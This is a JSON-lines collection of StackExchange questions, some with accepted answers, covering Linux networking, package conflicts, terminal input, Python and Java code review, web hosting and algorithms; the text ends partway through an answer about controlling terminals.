{  "id": "_webmaster.16446"  , "question": "I have a project where I am migrating a website from one platform to another, but the look and feel will still be the same (this is for standardization within an organization). Through re-write rules, I have to maintain any of the links which someone could have bookmarked. The practical implication is that I have to inventory every link and make sure it goes to the right place on the new site. Since there are often multiple paths to the same pages, I've found that site mapping software that do a hierarchical tree aren't giving me everything I need. The ones I've tried so far just show me the first, shortest path that landed them on that page. What I want to see is the inter-connectedness of the site -- if 5 pages all link to the sales page, I want to see that. Is there a site-mapping software, preferably open source, what will show me the 'many-to-many' relationship of the site's pages, rather than the 'parent-child' hierarchy of navigation?"  , "title": "software for mapping links for site migration?"  , "tags": "sitemap"  } 
{  "id": "_unix.252208"  , "question": "The long and short of it is we have a system with a single ethernet port and we need to provide both an IPV4 connection (that can be completely incontrol of the user and varies per system) and we want an IPV6 connection on the same adapter that can be predicted for each system.  The Link-Local address based on EUI-64 MAC address is great and it should provide the connectivity we need just fine.Network Manager completely manages our interfaces (i.e., we do not have an /etc/network/interfaces file on the system at all), so typically we just modify the connection settings in the connection file (/etc/NetworkManager/system-connections/<con_name>), but IPv6 is not behaving as I would expect.  I get the EUI-64 address when I have method set to ignore, but if I try using method=auto or method=manual, I will get an address in my ifconfig output, but I cannot ping the unit from any outside machine.  Even if I connect directly between 2 PCs with the Ethernet cable, I only ever get Destination Host Unreachable.  With method=ignore, it seems that I have no control over how my IPv6 address is set up, it is set up based on the ISP (so in my current ISP, which is not IPv6 ready, I happen to end up with the link-local address I want, but in a different network I may end up with a global scope and an IP address I cannot predict).  How can I set this up on my system?  What do I need to configure a manual address for my IPV6 connection via the NM connection files?  Why is it generating an IP at all if I set IPv6 to method=ignore?I am using the following:Yocto Custom OS running systemd (I have a kernel config file in /usr/lib/sysctl.d but this has no config settings for IPV6), I am running Network Manager 1.0.6, Linux Kernel 4.1.8"  , "title": "Manually configure Link-Local IPV6 regardless of ISP"  , "tags": "networking;networkmanager;ipv6"  } 
{  "id": "_unix.363084"  , "question": "My goal is to create a redundant internet connection. I have a USB-LTE Modem and a wired connection. I work on ubuntu 16.04. I can use both on their own but I want to combine them together to create redundancy. Now I searched for solutions and found the kernel bonding module.http://lxr.free-electrons.com/source/Documentation/networking/bonding.txt?v=3.13I tried multiple configurations. The mode I want to get working is the active backup mode as this is the mode which would give me redundancy.What I achieved: I can add both interfaces to bond0 and ping though that interface (tested with ping and route). The output from /proc/net/bonding/bond0 also looks fine for me:Ethernet Channel Bonding Driver: v3.7.1 (April 27, 2011)Bonding Mode: fault-tolerance (active-backup)Primary Slave: usb0 (primary_reselect always)Currently Active Slave: usb0MII Status: upMII Polling Interval (ms): 100Up Delay (ms): 200Down Delay (ms): 200Slave Interface: usb0MII Status: upSpeed: UnknownDuplex: UnknownLink Failure Count: 0Permanent HW addr: 02:1e:10:1f:00:00Slave queue ID: 0Slave Interface: enx00044b580af6MII Status: upSpeed: 1000 MbpsDuplex: fullLink Failure Count: 0Permanent HW addr: 00:04:4b:58:0a:f6Slave queue ID: 0However, if I test the worst case and remove the USB-LTE Modem the connection is lost completely (can't even ping anymore). So no redundancy at all.My guess is that I have a dhcp/gateway problem here. Because the both slaves interfaces have a complete different ISP etc. Sadly, I don't have a lot of experience with networking on linuxand can't solve it on my own.So my Question: Is it possible to bond two such different connections together with the bonding module? And if yes, any ideas how?"  , "title": "Bond eth0 and LTE Modem"  , "tags": "ubuntu;networking;bonding;lte"  } 
{  "id": "_unix.366495"  , "question": "Situation: I have a Python script that will recursively and separately count the total number of files and directories. Below is the code:def traverse(top):    filecount = 0    dircount = 0    for root, dirs, files in os.walk(top):        for f in files:            if dirs: dircount += 1            elif files: filecount += 1            else:                print(Error)                break    print(Num of dir:  + dircount)    print(Num of files:  + filecount)Problem: I get a different number of directories and files almost every time I run the code.Question: Mind suggesting a reason why the files and directories number will fluctuate? Maybe is it how Linux operates?Additional Information: Just want to make sure as this portion of my script is very important to the whole program"  , "title": "Fluctuating number of files and directories"  , "tags": "files;directory;python;python3"  , "accepted_answer": "A running Unix system will create temporary files and directories every once in a while during normal operation.Just opening a file in an editor, or sending an email, is likely to create one or two temporary files, and browsing the web may create and delete hundreds of files over a short timespan.  Also, a graphical desktop environment may do caching and other things that you don't usually notice, which creates and deletes temporary files.Depending on what your top directory is, you may well cover directories that have a tendency to change a lot, like /tmp and all the directories under /var, and your home directory."  } 
{  "id": "_unix.82388"  , "question": "I got a strange looking warning message in Windows Vista about a potential hard disk failure. I say strange because I have never in my life seen that type of warning in Windows. It suggested that I backup everything on this disk as soon as possible.The hard disk in question is the one I use for Ubuntu Linux. I know Windows can't read Linux file systems, not natively anyway, so it's probably some SMART reading that caused Windows to warn me about this disk drive.Ever since this happened I can't boot into Ubuntu Linux. I see several error lines passing by, something that indeed seems to be related to a disk failure. At the end it only presents the command prompt, the desktop doesn't load.Is there a way I can recover from this error? How do I grab the error logs from command prompt? I would like to post it here.Here's are a few screen shots:"  , "title": "Can I recover from a system disk error on Ubuntu Linux?"  , "tags": "ubuntu;filesystems;hard disk"  , "accepted_answer": "I would attempt to repair the disk with either HDAT (freeware) or possibly Spinrite (Commercial). I've used both of these tools to recover disks that were failing and they have both worked well in the past.Once the drive is in a usable state I'd use Clonezilla to replicate it as quickly as you can to an alternate HDD."  } 
{  "id": "_cstheory.11882"  , "question": "There seem to be many randomized algorithms for polynomial identity testing, checking whether or not a given polynomial is zero.  Are there any results of algorithms that do some sort of estimation of polynomials over a specific set of points? This could be, for instance, approximating for what fraction of these points the polynomial evaluates to zero, or approximating the average value of the polynomial over these points?  The set of points can be specific to the algorithm."  , "title": "What are some results on algorithms that estimate polynomials over a given set of points?"  , "tags": "ds.algorithms;approximation algorithms;randomized algorithms;derandomization;polynomials"  } 
{  "id": "_webmaster.992"  , "question": "My graphics skills are seriously lacking. I can see when something looks nice and when it doesn't but have a hard time coming up with anything myself given a blank slate. What should I do?"  , "title": "As a non-designer what are some good sites/books/tutorials for learning web design?"  , "tags": "css;design;graphics;website design"  } 
{  "id": "_codereview.138932"  , "question": "This is how I used to implement quicksort:def quickSort(alist):   quickSortHelper(alist,0,len(alist)-1)def quickSortHelper(alist,first,last):   if first<last:       splitpoint = partition(alist,first,last)       quickSortHelper(alist,first,splitpoint-1)       quickSortHelper(alist,splitpoint+1,last)def partition(alist,first,last):   pivotvalue = alist[first]   leftmark = first+1   rightmark = last   done = False   while not done:       while leftmark <= rightmark and alist[leftmark] <= pivotvalue:           leftmark = leftmark + 1       while alist[rightmark] >= pivotvalue and rightmark >= leftmark:           rightmark = rightmark -1       if rightmark < leftmark:           done = True       else:           temp = alist[leftmark]           alist[leftmark] = alist[rightmark]           alist[rightmark] = temp   temp = alist[first]   alist[first] = alist[rightmark]   alist[rightmark] = temp   return rightmarkalist = [54,26,93,17,77,31,44,55,20]quickSort(alist)print(alist)But recently I have come across this way of implementing quicksort:def quickSort(L):      if L == []: return []      return     quickSort([x for x in L[1:] if x< L[0]]) + L[0:1] + quickSort([x for x in L[1:] if x>=L[0]])a = [54,26,93,17,77,31,44,55,20]a = quickSort(a)print(a)Which implementation is better in terms of memory usage and time complexity?"  , "title": "Which is better code for implementing quicksort?"  , "tags": "python;algorithm;sorting;comparative review"  } 
{  "id": "_webapps.35502"  , "question": "Everytime I log in on a new device or browser I get the SMS text message with the 2nd step digits. It's pretty annoying. I already have the Google Authenticator to calculate my digits and it works great.How to disable SMS?"  , "title": "How to disable SMS in Google's 2-step verification?"  , "tags": "google;security"  } 
{  "id": "_cs.55564"  , "question": "I have a question where I am asked to find the size of a cache. I am given the following info:a) the length of a memory addressb) the number of bits for offset, index, and tag fields.I know I can use the numbers of bits to easily solve the line size and the number of sets. But as far as I know, there is no way for me to find the cache size without knowing the associativity, which we are not given.Is there any way to find the associativity from the length of the memory address and the number of tag/index/offset bits?Although it is tempting to assume the cache is direct mapped because we are not given associativity, the next question asks what the cache mapping scheme is and this prof is notoriously tricky, so I'm assuming there's more to it."  , "title": "Is it possible to figure out cache size and associativity using the length of offset, index, tag fields?"  , "tags": "computer architecture;cpu cache;cpu"  } 
{  "id": "_unix.167554"  , "question": "It has been a while since I updated one of my RHEL6 machines (except for the occasional update of specific packages with known vulnerabilities).As a result of this, I have an old ca-certificates package:ca-certificates-2010.63-3.el6_1.5.noarch.The new ca-certificates package depends onp11-kit-trust >= 0.18.4-2,which in turn conflicts with nss < 3.14.3-33,which is currently installed (as nss-3.13.3-6.el6.x86_64).As a result, I cannot figure out how to correctly update ca-certificates.I have p11-kit installed, but not p11-kit-trust, since nss blocks it. yum update nss says No Packages marked for Update.yum erase nss refuses, since it implies erasing yum as well.The complete output from yum update looks like this:Loaded plugins: product-id, rhnplugin, security, subscription-managerThis system is receiving updates from RHN Classic or RHN Satellite.Setting up Update ProcessResolving Dependencies--> Running transaction check---> Package ca-certificates.noarch 0:2010.63-3.el6_1.5 will be updated---> Package ca-certificates.noarch 0:2014.1.98-65.1.el6 will be an update--> Processing Dependency: p11-kit-trust >= 0.18.4-2 for package: ca-certificates-2014.1.98-65.1.el6.noarch--> Running transaction check---> Package p11-kit-trust.x86_64 0:0.18.5-2.el6_5.2 will be installed--> Processing Conflict: p11-kit-trust-0.18.5-2.el6_5.2.x86_64 conflicts nss  Finished Dependency ResolutionError: p11-kit-trust conflicts with nss-3.13.3-6.el6.x86_64 You could try using --skip-broken to work around the problem You could try running: rpm -Va --nofiles --nodigestpackage-cleanup --problems finds no problems, and package-cleanup --cleandupes finds no duplicates.ca-certificates cannot be uninstalled, since openssl depends on it.Is there a way that I can resolve this without using override parameters such as --dbonly, --force, --nodeps or similar, and without manually downloading an old RPM off the net?"  , "title": "What is the correct way to resolve this rpm conflict? (Error: p11-kit-trust conflicts with nss-3.13.3-6.el6.x86_64)"  , "tags": "rhel;yum;dependencies"  , "accepted_answer": "Download all these packages (I took the CentOS 6.6 versions from rpmfind.net)nss-3.16.1-14.el6.x86_64.rpmnss-util-3.16.1-3.el6.x86_64.rpmnss-softokn-3.14.3-17.el6.x86_64.rpmnss-softokn-freebl-3.14.3-17.el6.x86_64.rpmnss-tools-3.16.1-14.el6.x86_64.rpmnss-sysinit-3.16.1-14.el6.x86_64.rpmand install them all in one go with rpm -Uvh nss-*.rpm.That satisfies the dependencies of p11-kit-trust that yum couldn't figure out how to resolve on its own.After that, yum update can update ca-certificates and install p11-kit-trust (for dependencies)."  } 
{  "id": "_unix.2295"  , "question": "Just noticed some 640MB wtmp file in a virtual container (Ubuntu Hardy).# last -n 10000 -f /var/log/wtmp.1|wc -l384# ls -hl /var/log/wtmp.1-rw-rw-r-- 1 root utmp 641M 21. Sep 07:49 /var/log/wtmp.1logrotate was not installed (I just did that and forced rotating).Are there records in there not being displayed by last (which should show the last 1000 entries, but apparently there are only 384).From quickly skimming the wtmp/utmp man page, it does not look like a single entry should use about 1,6MB.Is there another program besides last to inspect these files?"  , "title": "Why does /var/log/wtmp becomes so huge? How to inspect wtmp files?"  , "tags": "login;logs"  , "accepted_answer": "logrotate was a good idea. Like any regular file, wtmp could have been sparse (cf. lseek(2) holes and ls -s) which can show a extreme file size that actually occupies little disk. How did the hole get there, if it was a hole? getty(8) and friends could have had a bug. Or a system crash and fsck repair could have caused it.If you are looking to see the raw contents of wtmp, od or hd are good for peeking at binaries and have the happy side effect of showing long runs of empty as such.Unless it recurs, I wouldn't give it much more thought. A marginally competent intruder would do a better job than that, the contents aren't all that interesting, and little depends on them. "  } 
{  "id": "_cs.14910"  , "question": "We have two sets of vectors of positive numbers, $X$ and $Y$ where for$x\\in X$ we write $x=(x_1,x_2,\\ldots,x_k)$ and similarly for $y\\in Y$we write $y=(y_1,y_2,\\ldots,y_k$).We are given two vectors $l=(l_1,l_2,\\ldots,l_k)$, and$u=(u_1,u_2,\\ldots,u_k)$ such that $l_i\\le u_i$ for all $i$.We want to find all pairs $(x,y)$, $x\\in X$, and $y\\in Y$ such that $l_i\\le x_i+y_i\\le u_i$Handwaving a bit, we can do this in a divide and conquer sort of way,separating each set into pieces that are larger and smaller than$l_i/2$ and throwing away the pairs where both are in the smallerhalf.This gives a recurrence$$T(m,n) = T(m,n/2) + T(m/2, n/2) + c(m+n)$$where $m=|X|$ and $n=|Y|$.  For equal size sets, this gives$T(n,n) = O(n^{1.7})$, which is better than quadratic, but less than Iwould hope for.A similar question could be asked for three or more sets.  "  , "title": "Range query for sum of vectors"  , "tags": "algorithms;computational geometry"  } 
{  "id": "_softwareengineering.156569"  , "question": "When I (re-)build large systems on a desktop/laptop computer, I tell make to use more than one thread to speed up the compilation speed, like this:$ make -j$[ $K * $C ]Where $C is supposed to indicate the number of cores (which we can assume to be a number with one digit) the machine has, while $K is something I vary from 2 to 4, depending on my mood.So, for example, I might say make -j12 if I have 4 cores, indicating to make to use up to 12 threads.My rationale is, that if I only use $C threads, cores will be idle while processes are busy fetching data from the drives. But if I do not limit the number of threads (i.e. make -j) I run the risk to waste time switching contexts, run out of memory, or worse. Let's assume the machine has $M gigs of memory (where $M is in the order of 10).So I was wondering if there is an established strategy to choose the most efficient number of threads to run."  , "title": "How many make threads to use?"  , "tags": "multithreading;efficiency;multi core;make;build system"  , "accepted_answer": "I ran a series of tests, building llvm (in Debug+Asserts mode) on a machine with two cores and 8 GB of RAM:Oddly enough, it seems to climb until 10 and then suddenly drops below the time it takes to build with two jobs (one jobs takes about the double time, not included in the graph).The minimum seems to be 7*$cores in this case."  } 
{  "id": "_codereview.139912"  , "question": "I'm working on a logger that has a name of the module that called the logger (when I create an instance of a logger in my program, I call LoggingHandler(__name__)) to send all the messages, including info and debug, to the log file, and print the messages specified by max_level to console (so, by default, it will not print info and debug messages to console, but will still write them into file).The problem came when I was managing levels. If I set level in basicConfig to WARNING, then it will not print info and debug to file, even though I've set fh.setLevel(logging.DEBUG). It just won't go to levels lower than the one specified in basicConfig. Okay, I could just go ahead and specify filename in basicConfig to make it output to file, but I want a RotatingFileHandler to take care of it (because I require its rollover functionality). So, I've set level in basicConfig to NOTSET, the lowest one possible. Things go better now except one problem. The output to console doubles. It prints [2016-08-29 10:58:20,976] __main__: logging_handler.py[LINE:51]# WARNING   hello[2016-08-29 10:58:20,976] __main__: logging_handler.py[LINE:51]# WARNING   hello[2016-08-29 10:58:20,977] __main__: logging_handler.py[LINE:48]# ERROR     hola[2016-08-29 10:58:20,977] __main__: logging_handler.py[LINE:48]# ERROR     hola[2016-08-29 10:58:20,977] __main__: logging_handler.py[LINE:54]# INFO      info message[2016-08-29 10:58:20,977] __main__: logging_handler.py[LINE:57]# DEBUG     debug messageSo, the global logger does the output and the StreamHandler does. I need to prevent the global logger from outputting anything. So I redirect its output to a dummy class Devnull. Now the code works exactly as I need, but it feels like such approach is what they call bodging. So, I'd like to know if there's a better way to write this code.#!/usr/bin/python3 -u# -*- coding: utf-8 -*-import loggingfrom logging.handlers import RotatingFileHandlerfrom os import path, makedirsLOGS_DIR = logsDEBUG_FILE_NAME = 'debug.log'MAX_LOG_SIZE = 10*1024*1024BACKUP_FILES_AMOUNT = 3LOG_FORMAT = u'[%(asctime)s] %(name)s: %(filename)s[LINE:%(lineno)d]# %(levelname)-8s  %(message)s'class Devnull(object):    def write(self, *_, **__): passclass LoggingHandler:    def __init__(self, logger_name, max_level=WARNING):        makedirs(LOGS_DIR, exist_ok=True)        logging.basicConfig(format=LOG_FORMAT,                            level=NOTSET,                            stream=Devnull(),                            )        self.main_logger = logging.getLogger(logger_name)        # create file handler which logs even debug messages        fh = RotatingFileHandler(path.join(LOGS_DIR, DEBUG_FILE_NAME),                                 maxBytes=MAX_LOG_SIZE, backupCount=BACKUP_FILES_AMOUNT)        fh.setLevel(logging.DEBUG)        # create console handler with a higher log level        ch = logging.StreamHandler()        ch.setLevel(max_level)        # create formatter and add it to the handlers        fmter = logging.Formatter(LOG_FORMAT)        fh.setFormatter(fmter)        ch.setFormatter(fmter)        # add the handlers to the logger        self.main_logger.addHandler(fh)        self.main_logger.addHandler(ch)    def error(self, message):        self.main_logger.error(message)    def warning(self, message):        self.main_logger.warning(message)    def info(self, message):        self.main_logger.info(message)    def debug(self, message):        self.main_logger.debug(message)if __name__ == '__main__':    # Tests    log = LoggingHandler(__name__)    log.warning(hello)    log.error(hola)    log.info(info message)    log.debug(debug message)"  , "title": "Python logging handler"  , "tags": "python;python 3.x;logging"  } 
{  "id": "_codereview.164261"  , "question": "I've wrote a Javascript binary file handling library (write,close,show download propmt). Code passes tests, it's pretty small (6.5 kB) and really well comented with JSDoc style. It's redistributed under MIT license. You can view some tests, minified version and a readme here. I'll post only full, commented version. In my opinion code is pretty well. You can check commit history to see what was going on (really much...). Here is main file (containing pretty everything):/*  * The MIT License * * Copyright 2017 Krzysztof Szewczyk * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the Software), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED AS IS, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. *//** * Main Namespace * @type object */var binjs = binjs || {};/** * File 'class' for binjs namespace. * Contains all of library code. *//** * Creates new file object with specified * name. Remember that parameter 'name' * is critical. You cannot create File * instance without providing it's name. *  * @param {string} name * @returns {BinJSFile} */binjs.File = function (name) {    if (name === undefined) {        throw [bin.js] Filename must be provided.;    } else {        /**         * Filename         */        this.name = name;        /**         * File Buffer         */        this.buffer = [];        /**         * Variable that holds invaildation status         * (after closing invaildate changes to true)         *          * If invaildate is set to true, you cannot          * perform any action on file. Everything         * you can do then is just set object to undefined.         */        this.invaildate = false;        /**         * Closes file, by removing name         * and buffer properties of File         * class.         *          * Invaildates it, so you cant use         * any function on file object         * after calling this method.         *          * Please look at 'invaildate'         * field description.         */        this.close = function () {            if (!this.invaildate) {                delete this.buffer;                delete this.name;                this.invaildate = true;            } else                throw [bin.js] File alreday closed.;        };        /**         * Sets file buffer to passed variable.         * It's expected to be string.         * If not, error will be thrown.         *          * @param {string} txt         */        this.setText = function (txt) {            if (this.invaildate) {                throw [bin.js] File alreday closed.;            } else if (typeof (txt) === 'string')                buffer = txt.split('');            else                throw [bin.js] You can set buffer only to string variable.;        };        /**         * Returns text that curerntly is in buffer.         * Throws an exception if file was         * closed before.         *          * @returns {string}         */        this.getText = function () {            if (this.invaildate) {                throw [bin.js] File alreday closed.;            } else                return this.buffer.join('');        };        /**         * This function adds character to file buffer.         * Be care what you pass to it. It's faster         * than:         * <pre><code>         *          * var f = new binjs.File('dummy.js');         *          *  // ...         *          * f.setText(f.getText() + text);         *          * </code></pre>         *          * Uses buffer.push().         *          * Throws an error if file was         * closed before.         *          * @param {any except undefined and array} c         */        this.put = function (c) {            if (typeof (c) === 'undefined')                throw [bin.js] You must pass at least one argument.;            if (this.invaildate) {                throw [bin.js] File alreday closed.;            } else                this.buffer.push(c);        };        /**         * Starts downloading process.         * Characters here are escaped using         * encodeURI function. It creates         * invisible '<A>' element in document         * body and forces download file          * dialog. Should work with all         * HTML5-ready browsers. Shouldn't         * break website layout.         *          * I'm unsure about older browsers         * (I am looking on you, damn IE9).         *          * Throws error if buffer was closed         * before function call         *          * @returns nothing         */        this.download = function () {            if (this.invaildate) {                throw [bin.js] File alreday closed.;            } else {                var element = document.createElement('a');                element.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURI(this.buffer.join('')));                element.setAttribute('download', this.name);                element.style.display = 'none';                document.body.appendChild(element);                element.click();                document.body.removeChild(element);            }        };        /**         * Returns hash code of buffer.         * Name of file doesn't affect         * hash code. File with any name         * and same content must return         * the same value of this hashing         * function.         *          * Throws an exception if buffer         * was closed before function call.         *          * @returns {Number}         */        this.hashCode = function() {            if (this.invaildate) {                throw [bin.js] File alreday closed.;            }            /**             * Simple implementation of simple             * Java's algorithm - String.hashCode().             * @param {type} str             * @returns {Number}             */            var hashcode = function (str) {                var hash = 0;                if (str.length === 0)                    return hash;                else                    for (i = 0; i < str.length; i++) {                        char = str.charCodeAt(i);                        hash = ((hash << 5) - hash) + char;                        hash = hash & hash;                    }                return hash;            }(this.buffer);            return hashcode;        };    }};I've figured out how to create some kind of namespace (to don't pollute global one). Before I thought about about using class keyword of JavaScript but not every minifier/lint etc. was supporting it, but I didn't figure out how to hide my public class variables, eg. make 'name' and 'buffer' private. For hashCode method I've chosen Java .hashCode method because it was pretty simple to implement. Sorry for my poor English, I'll try to fix all spelling errors in code.Can you suggest me how to make my code better?"  , "title": "Binary file management library"  , "tags": "javascript"  } 
{  "id": "_webmaster.84039"  , "question": "My Website Works when you go to it, however Google Adwords is telling me that my site is redirecting/ not showing up properly to their bots.When you put the site into a website checker like GT Metrix or Domain Tuno (won't let me post another link) they both show the default parallels plesk page.My plesk server currently hosts 300+ websites. And the IP address for them or the A record is the same across them all. However, if you go to the domain IP you'll get the same plesk default page. Yet if you type in the domain you get the correct website.On my other server when I input websites to those site checkers it pulls them up just fine. And the default parallels plesk page index.html was deleted from the root, so that's not the issue. The only index on my sites is the index.php which is the correct page.I could set one default domain to the IP address on my server and I think that would resolve it, but that only fixes the problem for one site and not the rest when being looked up by these google adword bots or website bots that check to see if your site is functioning correctly. I'm completely stumped and don't know what to do."  , "title": "Parallels Plesk Apache dedicated server shared IP / A Address serving default page"  , "tags": "php;htaccess;redirects;plesk"  } 
{  "id": "_unix.232447"  , "question": "I'm working with a Linux embedded board. It uses Linux kernel v2.6.37 with an external I2C RTC cbc34803. I've successfully intergrated the RTC hardware. It works correctly except the problem synchronization between system time and hardware clock time.As I know there're two types of time in Linux: system time and hardware clock time (RTC).When system boots, the system time is set from hardware clock time.But when I change the system time with date command, the system time does not sync to the RTC. Of course, it'll be synced if I use hwclock -w command.I want the system automatically update the system time to rtc (hardware clock) time everywhen the system time is changed.The question is which is responsibled for sync time from system time to rtc and what I need to do? "  , "title": "Automatically synchronization between system time and hardware clock time"  , "tags": "linux;date;clock"  , "accepted_answer": "You could write a function that does both:set_both_clocks() {  date $@  hwclock -w}Give it the exact same arguments you'd give to date when setting the system clock.    "  } 
{  "id": "_datascience.16825"  , "question": "Is there a way to reload all attributes after having removed someones without reopening the data file ?Any help please ?"  , "title": "How to reload all attributes in WEKA"  , "tags": "weka"  , "accepted_answer": "Judging from the screenshot, you are currently looking at the data in the preproces tab from the explorer module. In the menu above the top menu in your screenshot should be an undo option (5th option from the left)."  } 
{  "id": "_unix.238567"  , "question": "I want to rename all files to lowercase in a directory without renaming subdirectories. I know rename function but it renames files and subdirectories which is not desired. Can you help?"  , "title": "Rename files not directories"  , "tags": "bash;shell;files;rename"  } 
{  "id": "_codereview.92312"  , "question": "I've just encountered this question and am trying to solve it using Java.Here is my solution to it, which may not be optimized or might not be right way to do it. Someone please review whether it is correct or there is some good way to do it. For focusing on logic, I have hard coded List creation and code repetition is present.package linkedlist.singly;//Add two numbers represented by linked lists // 245   :  5 -> 4 -> 2// 99789 :  9 -> 8 -> 7 -> 9 -> 9// Ans   :  99341public class Add2NumbersInLinkListType2 {    static int carry=0;    public static void main(String[] args) {        Node templ11 = new Node(5);        Node templ12 = new Node(4);        Node templ13 = new Node(2);        Node templ21 = new Node(9);        Node templ22 = new Node(8);        Node templ23 = new Node(7);        Node templ24 = new Node(9);        Node templ25 = new Node(9);        templ11.setNext(templ12);        templ12.setNext(templ13);        templ21.setNext(templ22);        templ22.setNext(templ23);        templ23.setNext(templ24);        templ24.setNext(templ25);        Node res = findSum(templ11, templ21, 0);        if(carry==1){            Node tempNode = new Node(carry);            tempNode.setNext(res);            res = tempNode;        }        while(res!=null){            System.out.print(res.getData());            res=res.getNext();        }    }    private static Node findSum(Node l1, Node l2, int diff){        int length1 = findLength(l1);        int length2 = findLength(l2);        if(length1>length2){            //l1 having more nodes            Node res = findSum(l1.getNext(), l2, diff--);            int data = l1.getData() + carry;            if(data>9){                carry=1;                Node tempNode = new Node(data%10);                tempNode.setNext(res);                res = tempNode;            }else{                carry=0;                Node tempNode = new Node(data);                tempNode.setNext(res);                res = tempNode;            }            return res;        }else if(length2>length1){            //l2 having more nodes            Node res = findSum(l1, l2.getNext(), diff++);            int data = l2.getData() + carry;            if(data>9){                carry=1;                Node tempNode = new Node(data%10);                tempNode.setNext(res);                res = tempNode;            }else{                carry=0;                Node tempNode = new Node(data);                tempNode.setNext(res);                res = tempNode;            }            return res;        }else{            //both have same length            Node res = findSumForListOfSameSize(l1, l2);            return res;        }    }    private static Node findSumForListOfSameSize(Node l1, Node l2){        if(l1==null && l2==null)            return null;        Node head = findSumForListOfSameSize(l1.getNext(), l2.getNext());        int temp = l1.getData() + l2.getData() + carry;        if(temp>9){            carry=1;        }else{            carry=0;        }        if(head==null){            head = new Node(temp % 10);        }else{            Node tempNode = new Node(temp % 10);            tempNode.setNext(head);            head = tempNode;        }        return head;    }    private static int findLength(Node node){        int count=0;        while(node!=null){            count++;            node = node.getNext();        }        return count;    }}"  , "title": "Add two numbers represented by linked lists"  , "tags": "java;algorithm;linked list"  } 
{  "id": "_unix.196974"  , "question": "I want to create a machine readable copyright file for a Debian package, as defined inhttps://www.debian.org/doc/packaging-manuals/copyright-format/1.0/#fields .I have some 3rd party files which are licensed in a different license. Debian recommends using the Files: syntax. But I have problems understanding which path I should use.The line in my package/debian/rules file:install -oroot -gstaff -m0644 share/includes/idna_convert.class.php debian/gwhois/usr/share/gwhois/includes/An the target machine, the file is installed on /usr/share/gwhois/includes/idna_convert.class.php .So, which is the correct usage?a) Files: share/includes/idna_convert.class.phpCopyright: 2004-2014, phlyLabs Berlin, http://phlylabs.deLicense: LGPL-2.1b) Files: debian/gwhois/usr/share/gwhois/includes/idna_convert.class.phpCopyright: 2004-2014, phlyLabs Berlin, http://phlylabs.deLicense: LGPL-2.1c) Files: /usr/share/gwhois/includes/idna_convert.class.phpCopyright: 2004-2014, phlyLabs Berlin, http://phlylabs.deLicense: LGPL-2.1"  , "title": "Debian machine readable copyright: Files path"  , "tags": "debian"  } 
{  "id": "_unix.351061"  , "question": "Am I right that all input typed from the keyboard goes through a controlling terminal? That means that if a program is run without a controlling terminal, it won't be able to receive any user input. Is that right for every kind of program in Linux?UPDATE #1: To clarify the question, my pager module for Python crashes when stdin is redirected:$ ./pager.py < README.rst...  File pager.py, line 566, in <module>    page(sys.stdin)  File pager.py, line 375, in page    if pagecallback(pagenum) == False:  File pager.py, line 319, in prompt    if getch() in [ESC_, CTRL_C_, 'q', 'Q']:  File pager.py, line 222, in _getch_unix    old_settings = termios.tcgetattr(fd)termios.error: (25, 'Inappropriate ioctl for device')This is because I try to get descriptor to setup keyboard input as fd = sys.stdin.fileno(). When stdin is redirected, its file descriptor no longer associated with any keyboard input, so attempt to setup it fails with input-output control error.I was told to get this controlling terminal instead, but I had no idea where does it come from. I understood that it is some kind of channel to send signals from user to running processes, but at the same time it is possible to run processes without it.So the question is - should I always read my keyboard input from controlling terminal? And what happens if the pager process is run without it? Will keyboard input still matter to user? Should I care to get it from some other source?"  , "title": "Does keyboard input always go through a controlling terminal?"  , "tags": "terminal;ioctl;controlling terminal"  , "accepted_answer": "No. Terminal applications read keyboard input from the device file (on Linux, something like /dev/ttyS0 or /dev/ttyUSB0... for a serial device, /dev/pts/0 for a pseudo-terminal device) corresponding to the terminal with the keyboard you're typing on.That device doesn't have to be the controlling terminal of the process (or any process for that matters).You can do cat /dev/pts/x provided you have read permission to that device file, and that would read what's being typed on the terminal (if any) at the other end.Actually, if it is the controlling terminal of the process and the process is not in the foreground process group of the terminal, the process would typically be suspended if it attempted to read from it (and if it was in the foreground process group, it would receive a SIGINT/SIGTSTP/SIGQUIT if you sent a ^C/^Z/^\\ regardless of whether the process is reading from the terminal device or not). Those things would not happen if the terminal device  was not the controlling terminal of the process (if the process was part of a different session). That's what controlling terminal is about. That is intended for the job control mechanism as implemented by interactive shells. Beside those SIGTTIN/SIGTTOU and SIGINT/SIGTSTP/SIGQUIT signals, the controlling terminal is involved in the delivery of SIGHUP upon terminal hang hup, it's also the tty device that /dev/tty redirects to.In any case, that's only for terminal input: real as in a terminal device connected over a serial cable, emulated like X11 terminal emulators such as  xterm that make use of pseudo-terminal devices, or emulated by the kernel like the virtual terminals on Linux that interact with processes with /dev/tty<x> (and support more than the standard terminal interface).Applications like the X server typically get keyboard input from the keyboard drivers. On Linux using common input abstraction layers. The X server, in turn provides an event mechanism to communicate keyboard events to applications connecting to it. For instance, xterm would receive X11 keyboard events which it translates to writing characters to the master side of a pseudo-terminal device, which translates to processes running inside xterm reading the corresponding characters when they read from the corresponding pseudo-terminal slave device (/dev/pts/x).Now, there's no such thing as a terminal application. What we call terminal application above are applications that are typically used in a terminal, that are expected to be displayed in a terminal and take input from a terminal like vi, and interactive shell or less. But any application can be controlled by a terminal, and any application that reads or writes files or their stdin/stdout/stderr can be made to perform I/O to a terminal device.For instance, if you run firefox, an application that connects to the X server for user I/O, from within a shell running in an xterm, firefox will inherit the controlling terminal from its shell parent. ^C in the terminal would kill it if it was started in foreground by the shell. It will also have its file descriptors 0, 1 and 2 (stdin, stdout and stderr) open on that /dev/pts/<x> file (again as inherited from its shell parent). And firefox may very well end up writing on the fd 2 